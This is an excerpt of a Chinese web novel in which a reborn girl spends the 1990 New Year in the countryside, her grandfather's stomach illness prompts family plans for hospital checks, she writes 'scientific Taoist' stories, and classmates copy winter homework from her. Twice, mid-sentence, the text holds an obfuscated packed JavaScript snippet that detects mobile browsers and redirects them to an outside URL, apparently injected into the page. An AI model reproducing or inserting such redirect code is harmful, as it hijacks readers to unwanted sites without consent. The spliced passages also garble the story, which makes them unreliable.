洗完了人也开始多了起来，在换衣室，马丽丽不急着穿衣服，站在暖气片边先给自己烘头发，又烘干了身子，这才开始穿衣服。 “就你事儿多。”徐明惠也不急，她是穿好衣服空出衣服格子才来烘头发的，只是身上没全干就穿衣服，这么一烘，湿气全在内衣上了，挺不舒服的。 出了澡堂，外头的冷空气一吹，马丽丽感觉清爽不少，顿时打了个喷嚏，害她紧张了两天，还好没感冒。 过年的汽车真是拥挤到不行，马丽丽一家差点没挤上去，站了一路，颠簸了一个多小时，好不容易到了目的地。 “ya叔好，婶婶好，哇，有油条和包子。”一群孩子飞快的打完招呼就簇拥着马天华带来的几大包食物去了厨房，真不知道他们到底在欢迎叔叔一家还是包子馒头。 跟着大伯回来过年的二堂姐马兰兰没有跟着去，她穿着一身鲜亮的棉袄站在妈妈身后害羞的看着马丽丽，因为回来的少，她对着人总有点不好意思叫。 “兰兰姐，你的衣服好好看啊。”马丽丽觉得自己有义务先打招呼，便主动开了口，果然马兰兰就笑了。 “这是你妹，马丽丽。”大伯母提醒女儿。 “丽丽。”马兰兰受到鼓励也上前了两步，大概是她俩都是得坐车回来过年的缘故，马兰兰心中倒有了一丝同伴感。 “等下一起玩啊。” “嗯。” 大人们相互寒暄之后，马天华又带着妻女去跟父母打招呼。 马乔生就坐在屋檐下晒太阳，冬日的阳光温和不刺眼，他两手互插在袖筒里，等儿子过来才点点头。 “回来啦？”他伸手摸了摸马丽丽的头。 “回来了，身体还好吧？” “还行，还行。”马乔生含糊的说，旁边老大马天利欲言又止，最后还是没说话。 马丽丽爬到老dia耳边小声对他说：“老dia，我有东西给你，等下我给你拿房间去啊。” “哎，好。”马乔生含笑道。 一会儿三人又去了老dia奶奶房间，奶奶沈月就不爱在外头呆着，人多看着就心烦，房间的窗户打开也有阳光，她就坐在这么一线阳光中捂着火笼子看书。 “来了？”沈月看向二儿子。 “哎，妈，我们回来了。” “你上次带的书我都看完了，喏，在那儿，放好了。”沈月暗示。 “哦好……哦，哦，我这次又借了几本。”马天华把手上的袋子放到桌子上，沈月心满意足的点点头，脸色也和蔼了，转脸对徐明惠看了一眼，“先放东西去吧。” “嗯，妈，我们先上楼上去了。”徐明惠对着这个严肃的婆婆总是不大自在。 “妈，你们先去，我要跟奶奶说说话。”马丽丽可不管这么多，挥挥手等爸妈出去后，她把背上的书包取……取不下。 “帮我一把呀奶奶。”马丽丽费了个大劲。 “看看你，穿这么厚，还背个书包来。”沈月本来懒得动弹，这会儿也只伸了只手帮着拉了一把。 “嗐，看你说的，奶，我这不是为了给你带礼物吗？没给婶婶他们做，看见了多不好。”马丽丽从书包里拿出给奶奶的“保暖三件套”，奶奶的帽子和姥姥的一样都是粉粉的玫红色，上面加了一些灰色的花样，然后是长长的围巾和一副拇指食指翻盖的手套。 奶奶一脸嫌弃，“这种颜色是我一老太婆能用的吗？还有这一围灰色，好丑。” “哎呀你不要这样说嘛，这可是我亲自选的，亲自打的，你看这个手套，多方便，又不妨碍你看书写字又暖和，还有这个灰色，是因为……”马丽丽拿出另一套，“我给老dia打的就是用灰的线，你俩这是情侣装。” “呸呸呸，还情侣装，可别在人家面前胡说八道知道不知道，不害臊。”沈月说着，试了试手套，别说，确实有点意思，再看给马乔生的帽子围巾手套，打的也很密实。 “你倒是有心。” 马丽丽心说，从奶奶嘴里得句好话可真不容易啊。 可是沈月只是试了试，又取下放一边，马丽丽奇怪，“奶奶，你干嘛不戴啊，戴了不冷啊。” 奶奶给了个白眼：“过年再戴，这新的别弄脏了。” “干嘛等过年啊，现在不就是过年的时候嘛。”马丽丽拿起围巾，一甩，唰的给奶奶戴上。 离的近了马丽丽闻着了一股头油味，瞬间明白了。这时候农村用火跟古代没什么区别，都是烧柴火，冬天洗澡不方便，更别说洗头了，像马丽丽奶奶家这样，连个像样的洗浴室都没有，小孩子还好说，拿个盆就行，大人洗澡得在放着尿桶的小土屋里……一个冬天洗头洗澡的次数真是屈指可数。 不方便，太不方便了。 马丽丽就当什么都不知道，她给奶奶戴上围巾，“有什么关系，给你打了就是让你穿的，大不了春天的时候再洗嘛。” “哼。”奶奶也没再拒绝。 加上马天华，家里的男丁就都回来了，吃完晚饭后，奶奶便说要跟大家说个事。 奶奶说：“上两个月的时候你们爸爸一直胃不舒服，让天华拿了点药吃了一段时间也没什么效果。”马天华点点头，而且他还换了两种药，爸爸吃了还是一直有不舒服感觉呢。 奶奶：“前俩星期他突然吐血了……” 马天华焦急插嘴：“哎？上个月我来的时候怎么没跟我讲啊？怎么回事。严重不严重？有没有去医院检查一下？医生怎么说？”马乔生一嘴假牙，原本平时只能吃软烂的食物，胃不好是常态，但这么严重到吐血还是第一次。 老dia慢慢的回他：“哎呀，那个时候你都回去了嘛，后来天楚天林他们也带我去医院看了医生，检查了一堆，哎，拿给他看一下。” 奶奶去把检查单拿来给马天华看，几个袋子，有的厚有的大，马天华先拿出一张X光照片，发现看不清，于是又塞回去，再去看报告， 马天利马天明也是不懂，只问老dia：“医生怎么讲咧？” 奶奶接口道：“医生说你们爸爸胃里头有个阴影，最好做一下什么活检观察一下，也还不确定……主要是我们也不懂。” 大家都沉默了，有的是听懂了，有的是听不懂。 坐在底下的马丽丽倒是有点明白。当年老dia就是胃癌去世的， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15238358|160363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那是在五年后，当时发现的时候就是晚期了，发现后只坚持了半年老dia就去世了，没想到原来这么早就有预兆，马丽丽听得焦急，恨不能上前大吼，赶紧去治疗啊！ 过了两分钟，老大马天利最先发言：“有病肯定得去治，医生不是说不确定吗？这个县城的医院我看也不太靠谱，要不去市里医院检查一下吧？反正我在市里，照顾也方便。” 几个兄弟纷纷表态，有钱出钱有力出力，反正肯定是要治的，儿媳妇们倒没说什么。 老dia、奶奶心中都暗暗松了口气。 马天华研究了半天检查报告，说：“这个我估计还是要去市里检查一下，县里条件不行，其实最好是能去粤市我同学的医院，他那里比较专业，看胃病也比较多。吃了几个月的药都搞不好，就怕有什么比较严重的情况。看报告……这块阴影有点大，不过也很难说，可能只是胃溃疡什么的。”他也是给大家先打一个预防针。 马天龙是一点儿没搞懂，出事那会子也没跟去医院，他愣头青似的问：“胃溃疡还不严重啊，还有什么更严重的吗？做个检查，还需要去市里粤市……”旁边马天楚给了他一肘子，让他住了嘴。 检查是肯定要再检查的，但是去哪里兄弟几个还要商量一下。 晚上睡觉时，老两口并肩躺在床上，过了半晌，马乔生突然叹了口气，说：“真的是老了，不中用了，也不知道……这日子还有多久。” 沈月在被子里轻拍了他一下，“还早着呢，别瞎想，再说了，你那几个儿子还指着你的退休金呢，怎么着也会想办法给你治好的。” 马乔生没有再说话，心里却很是丧气，自己的身体自己知道，他能感觉的出来这次的病很严重，就怕…… 沈月心想，没有儿子难办，儿子多了也难办，这人老了还没死呢钱跟不是自己的似的，生个病还得看儿子脸色。老头子就是想太多，也就是有我了，要是有谁敢说别治了，哼……等着吧。 拍了拍厚实的棉被，沈月又想到了保暖三件套，心中还是有些触动，先不说儿子，孙女的福倒是早早就享到了，也是因为之前马丽丽说过几次她姥爷因为去检查身体才发现了肝癌早期，这次老头子吐血沈月才会一排众议，强硬的要求他全面的检查了一次身体，结果也真发现了问题。 谁也想不到，当沈月拿到检查结果时，心里竟是庆幸多过了恐惧。 第二天白天马天华又仔细看了x光片，心里总觉的不大好，虽然没有接触过实例，但之前岳父疑似肝癌的时候，他翻阅了许多相关的书籍和论文，后来又多次写信向同学咨询，多少还是了解一些。 “最好是能到粤市去检查，万一是也好就地治疗，这种病越早治效果越好，越到后面越难治，还会扩散。之前我岳父也是早期，切除了一小块，几年了，现在不也没事？” 马天华说出自己的意见，别看现在花一笔钱好像挺多的，越晚治疗越花钱，花钱还是小事，更重要的是越晚治不好，还遭罪。 说了半天，兄弟们几个也同意了马天华的话，大家仔细商量了一番，凑了一笔钱。先由马天华去跟老同学联系，约好检查的时间。过了年马天华先带着爸爸去粤市，到时候如果需要比较久的时间，大家再轮流请假。 再往后什么情况，就得看检查的结果是什么了。马天华也把之前岳父检查和做手术、用药的费用跟大家说了一下，好让大家心里有个数。 下午在县城的姑姑一家也来了，今年他们一家也在马家过年。大家聊天中姑姑也知道了老dia的事，她和姑父三言两语决定让姑姑到时候也陪着一起去粤市，女儿总比儿子贴心，而且马天华在医院跑的时候，她可以陪着老爸，还能帮着洗洗涮涮。 63.第六十三章 两个表哥坐着无聊，听了半天偷溜出来去找弟弟妹妹们。 弟弟妹妹们正在商量去马路边的小卖部买吃的。 马丽丽手上有钱，徐明惠一直以为这是马丽丽卖破烂赚的，想着这能有几个钱？她是不管的。 一分钱能买十个豆豆糖，两分钱能买一包酸梅粉或是无花果，五分钱能买一颗大白兔或是一个泡泡糖，一毛钱能买一角瓜子或是话梅…… 大马路边小店的零食价格小孩们倒背如流，但是性价比最高的还是瓜子。 一毛钱好大一包，如果要分装，柜台后的爷爷还会好脾气的把报纸裁开，分成几个小包，一人一小包，慢慢吃能吃半天。 大家伙正在商量等下是去买瓜子还是话梅呢，六个兄弟姐妹阴盛阳衰，四个姐妹两个兄弟。弱势群体们想买话梅，娘子军却想买瓜子，一点小事争论半天，正在这时，两个表兄来了，哎嘿，这下四比四了！ 最后还是去买了瓜子，谁让出钱的是马丽丽呢。 马丽丽大手笔买了五毛钱瓜子，在众人的虎视眈眈下，小卖部的爷爷不紧不慢的裁好报纸，每人包了一包，还放在称上称了称，每人分的都差不多。 大家都觉得挺满意的。 八个孩子人手一包瓜子往回走，也不走路，偏偏要从路旁边干涸了的田里走。田里的泥土裂成一块一块的，上面还有留作肥料的稻草把子，总之一句话，非常难走。 不过小孩子不就是这样吗，明知路难走，非要走此路。 几个小孩子一边嗑瓜子一边考验脚上功力，马丽丽一开始还走在路上，哪知小伙伴们田里斜着越走越远了，她也只好跟上去。 “你们等我，等我一下嘛，不然我下次不给你们买瓜子了！”马丽丽大喊，其他人顿时就站住了脚，等她来了再继续走。 一会儿小表哥向前一跳，突然脚下踩的泥块散了，他大叫一声摔了个狗吃屎，拿着瓜子的手却高高举起，生怕落地，把大家逗得哈哈大笑。 马丽丽忍不住想起几年前摔跤的是马冬剑，那回他可是把瓜子撒了一地。 回去后，马丽丽发现大人们的事已经谈完，堂屋里男人和老人喝酒的喝酒，聊天的聊天，看书的看书，婶婶和姑姑则在厨房烧水。 灶里的火烧得呼呼作响，大小三个锅都刷干净，装着满满的水。 婶婶们都挺开心的，冬天要洗个头澡真的不容易，要不怎么柴米油盐酱醋茶，“柴”是放在第一个呢。 不多时三锅水都开了，婶婶们也忙了起来，装水的装水，拿东西的拿东西，她们装了一桶热水，冷水就在厨房的水缸里，然后又拿了两个盆，毛巾和香皂，就退出了厨房。 姑姑把一个大澡盆和木桶拿进厨房，放在中间宽敞的地方，兑好水，又把火笼子、条凳、衣服和香皂准备好，便去叫了奶奶来。 一个小时后奶奶才洗完，她包着头，由姑姑扶着坐到阳光下的藤椅里，姑姑给她擦了擦头发，让她在阳光下晒着。 孩子们都站在小院里看鸡啄米，每人手里都拿了一小把，一颗一颗的扔在地上等鸡来啄，无聊的活动，但大家都看得津津有味。 见奶奶出来，马丽丽把手里的米倒给旁边的马冬山，走过去说：“奶奶，我给你擦头发吧。” 奶奶挥了一下手，有气无力的说：“不用，让我晒晒太阳，等下，丽丽，去我房间把桌子上的书拿来给我。” “哦。” 马丽丽拿书出来，看见天林ya叔又在考问小孩子，孩子们像小鹌鹑一样挤作一团，两个大的一副灵魂出窍的模样，明显是被考糊了。叔叔自以为亲切又和蔼，殊不知在侄子侄女外甥心中他的形象是个大魔王。 跟严厉的叔叔，被烤糊的小鹌鹑和悠闲的晒太阳看小说的奶奶比起来，厨房那边的婶婶和姑姑就忙的不得了。 就着洗剩的热水，姑姑把奶奶的帽子衣服裤子袜子全洗了一遍。 婶婶们又烧了热水，然后把小孩子们（主要是马洁，马冬山和马冬剑三人）轮流拉过来，好好的洗刷了一遍，然后妯娌几个也轮流洗澡，洗完澡还要就着热水把脏衣服打上肥皂，先泡在桶里。 之后清出锅里的热水，就要开始做午饭，吃了午饭，洗了碗又刷干净锅里的油，大锅又开始烧热水，下午就是老爷们洗澡的时间了。 大人小孩都换上了干净/新的衣服准备过年， 大人们心里有事，这个年也过不好，小孩子们就完全没有这个问题了。 除夕大家围坐在小小的电视前看春晚，今年最好看的节目依然是朱陈两位的小品。小孩子即使想睡觉也要硬撑到12点，然后去放了烟花爆竹，这才打着哈欠回房间去了。 第二天小孩们又一早争相把自己盆/桶/大碗里的冰盘子用一根线挂在竹杆上，看谁的先掉下来。 然后用温热的井水刷牙，比谁的水吐的远，等等。 人多就是好玩。 大人们沉重的心情没有影响小朋友，今年非常特别，全世界人民正式告别了80年代，进入了90年代。 就连春晚也非常特别，改革开放新时代，社会的变革充分展示在了这台舞会上。 依旧是那个熟悉的演播厅，现场的观众和演员们分成三队进行PK，东北喜剧之王刘老根第一次登上春晚舞台。 在将近零点的时候，两位国家领导人亲临春晚现场向全国全世界人民拜年。等他们出现在电视机里的时候，不光现场的人都热烈鼓掌，就连马丽丽她们都在电视机前热烈鼓掌起来。 年假过后回到家，马丽丽开始了每天四个小时的码字生活，她现在迫切的想积攒一笔钱，给老dia以防万一，但是以她的年龄，想在这种封闭的乡下小镇赚钱是一件很困难的事。 小姨带来的那两个单子如果能成，就是目前来说马丽丽最稳定的收入了。 马丽丽自然上心了许多。 已经完结的言情小说马丽丽不想再看，她的主要精力是在另一个小说。 话说，宋飞继承了道观之后，生活也渐渐稳定了下来。道观有自属的三亩地，平时宋飞就靠这三亩地过活，他自己原本就出身农村，种地自然不在话下。 不过既然继承了道观，宋飞平时还是会做一些道士该做的事，比如每天洗漱完后第一件事就是给三清上香，每天都抽时间研究舅舅留下来的书，学习打坐、诵经、吐纳、画符等等。 宋飞：这都是正经事，不是什么封建迷信。 因为之前的事，村民们觉得这个新来的小道士还是有两把刷子的，村里的老太太们在遇到了犹豫不决的事的时候，都爱来卜个卦，有时候还来看个小病。 是的，宋飞大专读的就是中医学院，只是如今中医式微，他的大专学历也学不成什么高精尖技术，平时帮大家开点草药，治治跌打损伤或是上火感冒之类的小病还是可以的。 乡里乡亲的也不用什么诊费，大家有时候提一把菜，拎几个苞米，或是一瓶自家做的烧酒（可以供给三清或做药酒）就算是诊费了，还有啥也不带，就去帮宋飞给地里除个草，浇个水的，也算诊费，宋飞都不计较。 如果需要用草药，寻常见的宋飞也不收钱，不寻常见的他也没有，只能让病人自己去正规的医院看病开药。有时候乡亲们上山见着了草药，随手采下了给他，他还能自己炮制一二。 这种情况多了，宋飞便想着把学校学的内容捡起来，努努力，把执业医生证考下来，毕竟这无证行医的，心里头也慌啊。 除了这个，道士证也得考下来呀，这假道士当久了总有露馅的时候，谁知道。 这天宋飞从田里回来，正冲着脚呢，一个村民带着自家大黑狗偷偷摸摸的进来，先是给三清上了香，又来找宋飞。 “小宋道士，我跟你说个事。” 原来这村民家的狗从小养的，跟他亲，不管他去哪都跟在他后头。可是从十天前开始，黑狗每次跟着他进大门前都要汪汪大叫，脖子上的毛都竖起来了，这是它受到惊吓的表现。 一开始这村民还没注意，可是每次进大门前黑狗都要竖着脖毛叫唤好半天，次数一多，村民心里头忍不住就嘀咕。 也不是说搞封建迷信吧……可老一辈人不是都说黑狗通灵，有时候能看见人看不见的东西，书里不是也有说过，要是遇见邪祟，浇一盆黑狗血就能破解。 要搞黑狗血，村民可舍不得自家狗，这不就来请宋飞去看看到底是怎么回事吗？ 宋飞：“……” 行吧。 虽然宋飞是新时代社会主义接班人，但干一行得爱一行，他就去了。 去了之后宋飞发现村民说的竟然还是真的，每次进门前，黑狗都要冲着门大叫，仔细看的话，会发现狗脖子上的毛也是竖起来了。 这就奇了怪了，宋飞再次仔细观察了一下环境。虽说是农村的土房子，但门口附近拾掇的还挺利索，柴堆、衣服杆子之类的都放的整整齐齐，鸡鸭也都养在笼子里，没有放出来乱跑。 所以到底是什么原因？ 别人信不信邪宋飞管不着，反正他是不信。 为了让村民安心不抗拒，应本人要求，宋飞不但摆出一些法器，甚至还拿着罗盘走了一圈。 几番上窜下跳，东摸西翻之后，宋飞最后终于找到了原因。 虽然是农村的土房子，但门口却是铺了石条的，每天晚上村民都会用水冲一冲，久而久之石缝里便总是存留一些残余的水分。 嘿，巧不巧，这位村民家十天前屋檐下的一根电线掉了下来，恰好有一小段胶皮老化，就搭在了石条缝里。 这根电线被柴堆挡住了，没人看见，即使有点轻微漏电，主人家进进出出都穿着鞋呢，也发现不到。但狗子没鞋啊，它习惯了跟着主人的脚步，每次肉垫都踩在石缝里，那不电得嗷嗷直叫。 原因找到了，宋飞帮村民把电线修好，修好后他们特地又让狗子走了一遍，这回狗子是真的不叫了。 “大叔，你看，哪有这么多鬼怪，这都是科学。”宋飞一边收拾东西一边趁机教育一番。 “啊，对对对。”村民嘴里说着，心中却想，要是真没有什么鬼事，那你干嘛要还拿着盘盘到处走哦？ （宋飞：那不是你提的要求吗？） 总之，事情的结果大家都很满意。 徐明红也很满意，她看完后笑得不行，见马丽丽又在接着写下一个故事，她拿起已经写完的稿子继续看。 新的故事是在另一个村子，这个村子有一个寡妇姓单，单老太的丈夫是个烈士，她年轻守寡，独自养大两个儿子，性格彪悍，是个有名的泼妇。她儿子倒是养得好，大儿子也参军了，就冲这个，村干部都得高看她一眼。但架不住单老太人缘不好，总与别人有争执，村干部们也只能和稀泥，和的多了，心中多少也有些不待见单老太。 与单老太相反，她的二儿子人缘却不错，单老二长得人高马大，干活有力气，田里的事整的井井有条，性格温和，有事儿也愿意帮忙。 前段时间下了一场暴雨，河水暴涨，河里多了许多石头树枝，天晴后村干部就组织小伙子们去清理，单老二就不慎伤了脚，在家休息了好些天才能下地。 这时候奇怪的事就发生了。 接连好几天晚上，单家两人都听见有人敲门，单老太爬起来去开门，门口却空无一人。 一开始单老太以为是谁故意的，还在门口骂了半天街，可是骂完之后晚上依旧有人敲门，一晚上还不止一次，开门也依旧没人。 后来单老二跳着脚守在门边，想看看到底是谁，一有人敲门他猛的拉开……没人，也没听见跑走的脚步。 这就让人有些寒毛直立了。 还不止，单老太注意到房子周边的狗多了起来，村里的狗不管是野狗还是家养的，好像都爱跑他家附近，她还几次见过狗站在他家门前叫唤或是闻来闻去的。 几天下来，这谁受的住？ 更吓的是，不知道谁在单家墙壁上用墨水画了一个奇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15243644|160363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怪的符号，像是圈圈套着圈圈，第二天大家发现时，这符号上全是蚊子。 众人：…… 即使村干部严谨大家传播封建迷信，也止不住村民私下聊天，这个年代，这种话题在农村还是很有市场的，尤其是在老人家中间。 单老太不顾儿子的拒绝，决定找个神婆来看看。 呃，确实有这种人，平时表面上是个正经村民，其实私底下有些神神道道，大家心知肚明，嘴里不说，有事又爱暗地里找他们。 单老太他们村就有一个，不过前段时间单老太刚跟人家干了一仗，把人家的脸都抓破了，俩老太十天半个月都没再讲过一句话，见面就是一个字：“哼！”所以单老太也不可能去找这位。 这不就打听到小道士了嘛。 宋飞：“……” 宋飞也只好硬着头皮去了。 不过长在红旗下，宋飞也不认为是有鬼，只是是什么他也不知道，不过根据之前处理过的事件来看……除了两件法器，他还带了一些现代化的小工具。 宋飞以走亲戚的名义来了单家，单老太那是热烈欢迎，单老二一开始看宋飞十分不顺眼，但毕竟都是新时代社会主义接班人出身，两人很快就接上了头。 确认过眼神，都是组织的人，单老二也没这么抗拒了，他把自己知道的事都跟宋飞说了一遍。 “就是这么个情况，这事儿也够奇怪的。”不信归不信，但家里遇到这种事，单老二也是心烦的很，明面上大家都不敢搞封建迷信，私底下信的人也不少，尤其是最近村里的老娘们都在风言风语，说他家得罪了过路野神，其实就是什么精怪，这是在报复他家呢。 就因为这个，村书记都找他聊过一次了，可是他也不知道是什么情况啊！ 宋飞听后表情顿时微妙了起来，他……有可能还真知道。 以前宋飞和他舅舅关系不错，读书的时候常常通信，他舅舅干这个也经常遇到各种奇葩事，有时候就会写在信里。 有一次在信中舅舅就写了这么一件事，也是半夜敲门，敲的还是内院的房门，同样是家养的狗不停对着门叫，还舔门，其实就是因为主人家得罪了做门的木匠，木匠在漆里拌了黄鳝血。 这玩意的味道人闻不出来，但是蝙蝠和狗却能闻见，这蝙蝠飞来舔血，一撞门，可不就像敲门似的。主人来开门，蝙蝠掉地上，大晚上乌漆麻黑，主人开门也不会注意到脚边，就跟无人敲门一样。 宋飞这么一说，单老二恍然大悟，他蹲守的时候还确实没注意过地面，黑不拉几的，也看不清啊。 另一个舅舅以前也写过，不过不是他遇到的，而是两人在信中说起旧社会时神棍的骗人招数，舅舅也是为了防止宋飞万一遇上了不知道。 其实就是给一□□嘴里放墨，用布包起来，埋泥内七天，然后用那个墨画圈，蚊子就会在圈里。具体原理宋飞也说不上来，但知道这么个事。 单老二觉得自己也是长见识了。 有了方向，现在就是缺实践了。两个大男人把门板卸下来检查了半天，两人也是闻不出什么味道，但单老二借了条狗来，这狗也不叫了，直接上嘴舔。作恶的人也十分狡猾，黄鳝血也没有涂在整个门上，而是点涂在几个很隐蔽的地方，比如门锁下面一点儿的地方，这里经常会被锁片遮住，或者是破了的烂木片片里头，还有就是比人头高的地方，很少有人会抬头看门上头。 要不是借来的狗狂舔这几个地方，宋飞和单老二也很难发现这几处。 两个大男人蹲在院子里好好把门洗了一遍，光用水洗还不够，几个重点部位又是用萝卜汁又是用盐擦，最后还用了两瓶烧酒，这都是因为据说黄鳝血会渗透进木头里面，光洗表面没用，把单老太心疼得直骂儿子浪费。 外墙上的符号早就被单老二铲掉了，又补了黄泥，之后没有人来画符号，也确实是没有蚊子了，只是这事儿闹心，现在他也知道原因了。 事情解决了，但没有结束，宋飞和单老二商量了一番，单老二去找村长和村书记将事情一说，两人也觉得这是个破除封建迷信的好机会，而且这个装神弄鬼的人肯定也是村子里的，虽然暂时抓不到人，但是把他的手段跟大家说了，让他以后不能再用这个方法吓人，也是好的。 村干部召开会村大会，作为发现人，宋飞也做了一把小明星，他身穿道服讲科学，号召大家不要封建迷信，顺便还说了几个骗子的小手段，整个现场一片其乐融融，嗯，对，其乐融融。 看到这里，徐明红忍不住问马丽丽：“哎，丽丽，你写的这是真的吗？这个黄鳝血，还有这个什么癞蛤蟆嘴里的墨什么的。” 马丽丽正在修改稿子呢，她头也不抬的说：“本故事纯属虚构，如有雷同，肯定是巧合，不如你要是想，有机会可以试试是不是真的。” 徐明红：“那算了。”又是血又是□□，恶心。 徐明红想起另一件事来：“这个宋飞传你一下写了俩故事，是准备让我回校的时候都带去？” 马丽丽百忙之中白了她一眼，“什么宋飞传，是《科学道士》好不好。” “哈？人家不是说了这名不好让你换一个的吗？” “那就叫《社会主义道士》。” 徐明红：“？”都什么名啊。 马丽丽望天，总不能叫《走进科学》吧？虽然几十年后封建迷信在普罗大众观念中就是一个梗，但现在那可是实打实的社会现象，要不后来央视干嘛还特地开一个那种形式的科普栏目呢？不就是因为信的人太多了嘛。 徐明红：“等下，不要岔开话题。” 什么岔开话题？哦，“你是说你直接把稿子带回去给你同学的叔叔？肯定不啊，我们都还没有最后谈好，也没有签合同……这不还等着你回去跟他谈吗？稿子你先带去，要是谈成了你再给他。” 徐明红抓头：“真的要的去吗！” 马丽丽毫不犹豫的再次肯定：“是的！” 徐明红：我就问问。 64.第六十四章 进入90年的惊喜感消退，春节假期结束，大人们又开始恢复上班的生活，虽然寒假还没有结束，但是在外头溜达玩耍的学生也并不多，大家伙都在忙着赶寒假作业呢。 史诗级灾难片《听取“哇”声一片》三部曲第一部，《开学前》！ 不过这些和马丽丽都没什么关系，刚放寒假的时候，她就已经把寒假作业都做完了。 马丽丽习惯提前做计划，然后按计划行事，如果预想的计划被打乱，会让她浑身都不舒服。 今天是周末，徐明惠带着马丽丽去澡堂洗澡。长在小隔间里，马丽丽顶着一头泡沫，尽情的挠着头。 虽然是冬天，虽然是短头发，但一个星期才洗一次头真的太烦恼了。头痒的难受，抓一抓指甲里都是油垢，一不小心把头皮抓破了，结出血痂来，又总手痒想把血痂抠掉，那叫一个酸爽。 所以马丽丽从小就喜欢买篦子梳头，通一通头不仅能把大块头皮和脏东西梳掉，还能止痒。 彻彻底底，舒舒服服的洗完了澡，马丽丽顶着一头湿发热气腾腾的跟着妈妈从澡堂出来。今天来的早，太阳还没完全下山，不然她这样头发可是很容易感冒的。 隔壁男浴室也出来几个人。 “马丽丽，你也来洗澡呀？” 马丽丽扭头一看，原来是周磊。 周磊脑门上冒着白烟，很是热情的跟马丽丽打招呼。 “安，你也……” “马丽丽，你寒假作业做多少了？” 马丽丽：“……我做完了。” 周磊：“啊！你就做完了！？” 马丽丽：“是啊，你没有做完吗？那可要抓紧时间了，离开学可没几天了。” “对啊。”周磊话题一转，“主要是有一些我不会做，你能给……能教我一下子不？” 马丽丽：“可以倒是可以，可是你们楼人太多，吵得很，要不你来我家？” 周磊家在一栋，那边住了很多老人家家属，平时也热闹的很。 周磊偷偷看了走在前面的徐明惠一眼，小声问：“你妈明天在家吗？” 马丽丽：“……在。” 周磊：“那算了。” 马丽丽的妈妈是初中老师，又是教数学的，还是初二班主任，是初中数学组的小组长，在普通学生眼里简直Buff叠满，一般来说，几乎没同学敢去马丽丽家玩，从小到大都是如此。 周磊不死心，转眼又想了个办法，“你们楼前不是有一条水泥墩子吗？我们可以在外面做呀。” 马丽丽十分无语，问道：“你不冷吗？” 周磊：“我不冷，明天出太阳。” 这倒也是，这几天都是大晴天，虽然是冬天，晒久了太阳其实也热的很。 马丽丽：“那行吧，明天太阳热了之后你来找我，把你的作业、铅笔、橡皮都给带齐了哈。” 见马丽丽同意，周磊开心得很，“好嘞，我把书包都带来。” 可是第二天，周磊在楼下扯着嗓子喊马丽丽的时候，马丽丽差不多已经把这事儿给忘光了。 真是对不起了。 “马上，我马上就来。”马丽丽一片大吼，一边噼里啪啦的拿东西。 纸、笔、书、本子，齐呼。 “妈，我去楼下。” 马丽丽又是一顿噼里啪啦跑下楼去。 “周磊你干嘛这么早，还不热乎……呃。”马丽丽看着眼前的人……们，一二三四五，你们这是要去打老虎啊？ “马丽丽，我也没做完寒假作业，可以一起不？” “我也没做完。” “我也是。” “我是来看他们的，顺便做一下作业。” 面前站的五个人除了周磊，还有黄明霞，张百年/张千叶/张万年三兄妹，他们都住一栋，周磊、黄明霞、张万年和马丽丽都是同班同学，张千叶是三年级，张百年是五年级，虽说不同年级，但都是同读过托儿所的，所以大家都认识。 人多事就多，马丽丽有点不大想一起了，可是也不好拒绝，只好跟着大家一起去蹲水泥墩子。 八号楼前的水泥墩子是一个半长的隔离带，一边是有坡度的水泥路，一边是楼前平整地，落差大概有半米，水泥墩子就是一个小围墙，跟着坡度走，水泥路的这边还有排水沟。 马丽丽举着小板凳，叉着脚坐在水泥墩子的最头上，其他人就着水泥墩子两边，或爬着，或蹲着，或坐地上。 水泥墩子中间旁边种着一棵高大的法国梧桐，冬天时叶子都差不多落光了，但树木伸展出的枝枝杈杈却依旧可以挡住有些刺眼的阳光，斑驳的影子落在作业本上一动不动。 一开始大家还比较安静，毕竟都是来赶作业的，十分钟后周磊就开始问马丽丽加减法了，他也不是不会，就是懒得自己算，有人直接报答案多快啊。 见马丽丽张口就说，周磊笔下刷刷的，慢慢的其他人也开始报问题，有加减的也有乘除的，还有问组词和造句的，要背课文的她就没办法了，没学过的她可记不大清楚了。 马丽丽也不说什么“自己的作业自己做”之类，手里一边刷题，有人问就直接给答案，脑子都不用过。 这寒假作业暑假作业有几个学生是为了检验自己的所学成果呀？它的主要功能其实是让学生在放假时脑子里也有根弦绷着，别一放假就放飞自我。 把自己手里的大题刷完，马丽丽直起腰来扭一扭，发现水泥墩子上竟然“长满”了人。 看样子，当初信誓旦旦每天做一页寒假作业的人，都没有完成自己的誓言呀。 这会儿附近几栋楼需要补作业的孩子几乎都来了，不光占满了水泥墩子，朱莉莉她们几个还搬了一张小折叠桌下来，还有两个老人家搬了椅子来坐在旁边打盹。 有的孩子虽然会相互问对方会做的部分，但也是认真又急切的赶着作业，有几个男孩子却是一会抓俩蚂蚁一会捡两片树叶的，只有当旁边人做完了刷刷翻页的时候他们才会着急的写几笔，可是一会儿又抓耳挠腮的放下了。 马丽丽呼了口气，站起来走到顾星星旁边，一看他的作业本，皱皱巴巴，大片空白，老师只要顺手翻开大概会气死的程度。 “21，5，16，36，我说你上课还真是一点不听啊是怎么的？一年级那会怎么考进去的？才二年级就不想学了，你可是家里老二，以后接不了班的。15，17，8。”马丽丽念着答案让他写，好歹也动动笔，顾星星写的飞快，一边恍然，被马丽丽这么一说 